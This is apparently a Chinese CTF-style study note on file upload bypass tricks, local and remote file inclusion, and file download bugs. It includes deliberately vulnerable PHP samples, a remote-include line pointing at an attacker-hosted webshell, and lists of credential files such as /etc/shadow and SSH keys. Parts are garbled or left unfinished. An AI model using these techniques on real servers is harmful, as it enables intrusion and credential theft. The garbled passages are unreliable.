文件上传漏洞是指由于程序员对于上传的文件没有进行严格的验证和过滤导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件,本质是上传一个文件由我们进行调用
文件上传还是归根结底是客户端的 POST 请求,消息主体就是一些上传信息,前端上传页面需要执行 enctype 为 multipart/form-data 或者 Multipart/form-data 才能正常上传文件。
常见的攻击点: 头像上传、修改上传、文件编辑中间件上传,图片上传、媒体上传、通过抓包上传恶意文件进行测试
绕过思路:
在代码中通过对返回的文件类型进行验证。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uyDCpBuu-1659343780657)(https://typora-1311404666.cos.ap-beijing.myqcloud.com/img/20220801111851.png)]
对发送的数据进行抓包,修改其中的 Content-Type 类型即可绕过, 所有的 MIME 类型:
- 超文本标记语言文本: .html text/html
- XML 文档 : .xml text/xml
- XHTML文档 .xhtml application/xhtml+xml
- 普通文本 .txt text/plain
- RTF文本 .rtf application/rtf
- PDF文档 .pdf application/pdf
- Microsoft Word文件 .word application/msword
- PNG图像 .png image/png
- GIF图形 .gif image/gif
- JPEG图形 .jpeg,.jpg image/jpeg
在 PHP 中关于 $_FILES 的使用:
- $_FILES[‘myFile’][‘name’] 表示文件的名称
- $_FILES[‘myFile’][‘type’] 表示文件的 MIME 类型
- $_FILES[‘myFile’][‘size’] 已上传文件的大小(单位:字节)
- $_FILES[‘myFile’][‘tmp_name’] 储存的临时文件名,一般是系统默认
- $_FILES[‘myFile’][‘error’] 该文件上传相关的错误代码,PHP4.2版本后增加的
规定上传文件的后缀,我们可以更改后缀进行注入,使用脚本的其他扩展名:
- PHP : php
/php5/pht/phtml/shtml/pwml/phtm- ASP : asa
/asax/cer/cdx/aspx/ascx/ashx/asmx/asp{80-90}- JSP :jspx
/jspf/jspa/jsw/jsv/jtml
利用思路: 使用中间件的一些特殊文件,将其他的一些文件解析为特定文件,比如 将 1.png 解析为 1.php
.htaccess 文件是 Apache 服务器下的一个配置文件,其主要负责相关目录下的网页配置,即: 一个特定的文档目录中放置一个包含一个或多个指令的文件来对网页进行配置。不过需要注意的是,.htaccess文件的作用域为其
所在目录与其所有的子目录,不过若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。
实例:
上传的 .hatccess 文件:
SetHandler application/x-httpd-php
目的: 将 1.png 文件解析为 php 文件执行
对于上传的文件后缀进行大小写混用
服务器接收到文件名后,没有对文件的名称进行首尾去空,造成了文件后缀匹配失误,所以我们上传的文件名为 1.php (PHP 后有一个空格)
这个漏洞原理是,服务器仅仅通过 “ . ” 来获取所上传文件的名称
实例:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');// 获取文件名称 . 之后的字符
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
对于代码中的 $file_ext = strrchr($file_name, ‘.’);
- 如果上传的文件名称为 1.php 那 file_ext 对应的内容为 php
- 如果上传的文件名称为 1.php. 那么 file_ext 对应的内容为 Null
对于 ::
DATA" 会把 “::D A T A 介 绍 : 当 p h p 在 w i n d o w s 环 境 的 时 候 , 如 果 文 件 名 + “ :: " role="presentation" style="text-align: center; position: relative;">DATA"之前的文件名D A T A ” 之 后 的 数 据 当 成 文 件 流 处 理 , 不 会 检 测 后 缀 名 . 且 保 持 ":: " role="presentation" style="text-align: center; position: relative;">
过关思路与点绕过类似,主要原因是对于 文件后缀名中的 " . " 只进行了一次过滤
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点 只进行了一次
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
我们可以将上传的文件名后缀改为 1.php. . (两个点之间有空格分割)
对于所上传的文件名后缀只进行了一次过滤,所有我们可以将后缀进行双写绕过
eg: 1.phpphp
- 0x00,%00这两类截断都是属于同种原理,%00在 url 解码后为空字符,0X00 即16进制的00。在解析后这两个内容都会被当做chr(0)来处理。
- chr()函数的作用:返回括号中的参数所代表的字符。
- chr(0)代表的含义是返回ASCII码中0代表的字符,也就是NULL。
- 当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。而当传参方式为GET则需要使用%00,因为GET传参时url会自动编码,转移为空字符;而POST型传参 时则不会进行自动编码,所以需要使用 0x00 进行截断。
使用前提:php < php5.3 magic_quotes_gpc=Off,否则%00这种空字符会被转义为\0


这个函数的特点是上传时会忽略 /. ,也就是说可以通过这一点更改文件后缀名,进行黑名单绕过。
如’phpinfo.php’改写为’phpinfo.php/.'即可绕过。
有的站点需要检测文件类型,这种检查可以在 Shell 前加入对应的字节以绕过检查,几种常见的文件类型的头字节如下:
| 类型 | 二进制值 |
|---|---|
| JPG | FF D8 FF E0 00 10 4A 46 49 46 |
| GIF | 47 49 46 38 39 61 |
| PNG | 89 50 4E 47 |
| TIF | 49 49 2A 00 |
| BMP | 42 4D |
在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20 , index.php:1.jpg index.php::$DATA 等。 在Linux系统中,可以尝试上传名为 index.php/. 或 ./aa/../index.php/. 的文件
本质是由服务器自己调用通过引入文件时,用户可控,没有严格的进行校验,或是被绕过,操作了一些敏感文件,导致文件的泄露或代码的注入
举例:
$filename = $_GET['filename'];
include($filename);
?>
在本例中 filename 完全由用户控制,其值直接被带入到 include 函数中,使得可以修改 filename 的值进行操作

文件包含分为两种,本地文件包含、远程文件包含
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file); # 直接带入 include 函数
}else{
highlight_file(__FILE__);
}
?>
因为没有任何的限制,所以可以通过目录遍历漏洞来获取到系统中的其他内容
利用:
在本地创建 1.php 文件,同时创建一个文件内容为 在浏览器进行访问http:localhost/1.php?file=1.txt展现的效果就是 phpinfo 执行效果常见文件读取路径:
/etc/apache2/* #Apache配置文件,可以获知Web目录、服务端口等信息 /etc/nginx/* #Nginx配置文件,可以获知Web目录、服务端口等信息 /etc/crontab #定时任务文件 /etc/environment #环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况 /etc/hostname #主机名 /etc/hosts #主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,可以探测网卡信息和内网IP/域名 /etc/issue #系统版本信息 /etc/mysql/* #MYSQL配置文件 /etc/php/* #PHP配置文件 /proc 目录 #/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录,如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self代替/proc/[pid]即可 /proc/[pid]/cmdline #cmdline可读出比较敏感的信息 # ssh日志,攻击方法: ssh ``@192.168.1.1 /var/log/auth.log # apache日志 /var/log/apache2/[access.log|error.log]
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file . ".html"); # 文件的后缀为 .html
}else{
highlight_file(__FILE__);
}
?>
绕过方法:
使用前提: PHP < 5.3.4 magic_quotes_gpc=OFF http://localhost/1.php?file=1.txt%00使用前提:PHP 版本 <= 5.2.? http://127.0.0.1/1.php?file=1.txt……………………………………………………………………………
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file . ".php"); # 包含的文件后缀为 php
}else{
highlight_file(__FILE__);
}
?>
前提条件:PHP版本>5.4.0 配置项:session.upload_process.enabled 的值为 On
参考文章链接: 文件包含骚姿势–利用 session.upload_progress 进行文件包含
对于其中一些知识点的解释:
php.ini 的默认选项:
session.upload_progress.enabled = on #表示upload_progress功能开始,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 session.upload_progress.cleanup = on #表示当文件上传结束后,php将会立即清空对应session文件中的内容 session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" #表示为session中的键名 session.use_strict_mode=off #表示对Cookie中sessionid可控
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
对于最后两个选项的解释:
// PHPSESSION = Sn0w <form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> form>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
在session.upload_progress.name=‘PHP_SESSION_UPLOAD_PROGRESS’ 的条件下,上传文件,便会在session[‘upload_progress_123’]中储存一些本次上传相关的信息,储存在/tmp/sess_Sn0w:
通过上图和几个默认选项的有关介绍就想是否可以利用 session.upload_progress 来写入恶意语句,然后进行包含文件,但前提是需要知道session的存储位置
php 中 session 存储机制:
PHP 中的 session 内容是以文件的形式进行存储的,存储的方式是由配置项 session.save_handler 来进行确定的,默认便是以文件的形式进行存储,存储的文件的名字是 sess_sessionid 来进行命名的,文件的内容便是以 session 的值序列化之后的内容,至于存储路径便是由配置项 session.save_path 来进行决定的一般来说 session 存储路径为:
Linux: /tmp 或者 /var/lib/php/session
Windows: C;\\WINDOWS\Temp
- 如何创建 session 文件:
如果配置项 session.auto_start=On 是打开的,那么 PHP 在接受请求的时候便会自动化 Session , 不在需要执行函数,但默认关闭,在 session 还有一个默认选项,session.use_strict_mode 默认值为 0,用户卡伊自己定义 SessionID:Cookie中设置: PHPSESSID=Sn0w PHP便会在服务器上创建一个文件(默认路径) /tmp/sess_Sn0w
- 1
- 2
- 3
- 4
即使此时用户没有初始化 Session,PHP 也会自动初始化 Session,并产生一个键值,这个键值有 ini.get(“session.upload_process.prefix”) + 由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件中
- 但是还有一个问题没有解决,即使是写入了默认配置 session.upload_process.cleanup = On ,导致文件上传后, session 文件内容会立即被清空,所以这里需要去使用多线程同时进行写和读,进行条件竞争,在 session 文件被清除前进行包含利用。
使用前提:
- allow_url_fopen = On 是否允许打开远程文件
- allow_url_include = On 是否允许 include/require 远程文件
无任何限制:
代码没有任何限制,直接在公网上存放恶意 WEBSHELL 即可,然后通过包含即可执行恶意 payload
==`?filename=http://xxxx/php.txt`==
限制包含文件的后缀名:
例如:
include($_GET['filename'] . ".no"); ?>
? 绕过
?filename=http://xxxx/php.txt?
# 绕过
?filename=http://xxxx/php.txt%23
显示源代码就是文件读取漏洞
提示文件下载就是文件下载漏洞
举例:
http://ee5bcaf5-6fbd-4ace-b6a6-220e7ef95de8.node4.buuoj.cn:81/Download?filename=help.docx
在链接中存在 firename 以及 Download 表示这是一个文件下载漏洞,访问链接后返回:

说明这是 Java 程序,从而从 JavaWeb 方面开始考虑, 修改提交方式读取 WEB 配置文件 WEB-INF/web.xml
,然后就会下载对应的文件,在下载的文件中存在:
FlagController
com.wm.ctf.FlagController
FlagController
/Flag
结合所学知识,推断出 Flag 存在的文件位置为 WEB-INF/classes/com/wm/ctf/FlagController.class 中 ,进行访问后就可以找到 Flag
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
用户目录下的敏感文件
.bash_history
.zsh_history
.profile
.bashrc
.gitconfig
.viminfo
passwd
应用的配置文件
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
应用的日志文件
/var/log/apache2/access.log
/var/log/nginx/access.log
站点目录下的敏感文件
.svn/entries
.git/HEAD
WEB-INF/web.xml
.htaccess
特殊的备份文件
.swp
.swo
.bak
index.php~
...
一般这种题目的共同点是: 无法直接上传 shell ,只能上传图片,存在文件包含
累了,先放原文吧,明天或者后台再补,文章链接
看不懂,贴链接把,后续看会了在进行补
ml
.htaccess
```
.swp
.swo
.bak
index.php~
...
一般这种题目的共同点是: 无法直接上传 shell ,只能上传图片,存在文件包含
累了,先放原文吧,明天或者后台再补,文章链接
看不懂,贴链接把,后续看会了在进行补